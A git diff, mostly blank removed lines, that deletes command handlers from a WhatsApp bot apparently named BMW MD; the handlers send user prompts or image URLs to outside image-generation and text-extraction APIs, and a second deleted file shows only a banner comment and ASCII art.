-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {
- adams
-} = require("../Ibrahim/adams");
-const {
- default: axios
-} = require("axios");
-adams({
- 'nomCom': "generate4",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please enter the necessary information to generate the image.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "extract",
- 'reaction': '⏳',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please insert the image url Bmw-Md will extract it for you.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://www.samirxpikachu.run.place/extract/text?url=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/flux?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate2",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate4",
- 'reaction': '💎',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image Bmw md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://www.samirxpikachu.run.place/multi/Ml?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "wash",
- 'reaction': '🎇',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Kindly enter a valid image url to beautify your image.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/remacne?url=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-
-
diff --git a/scs/bmwba.js b/scs/bmwba.js
deleted file mode 100644
index 122e1f2..0000000
--- a/scs/bmwba.js
+++ /dev/null
@@ -1,15301 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
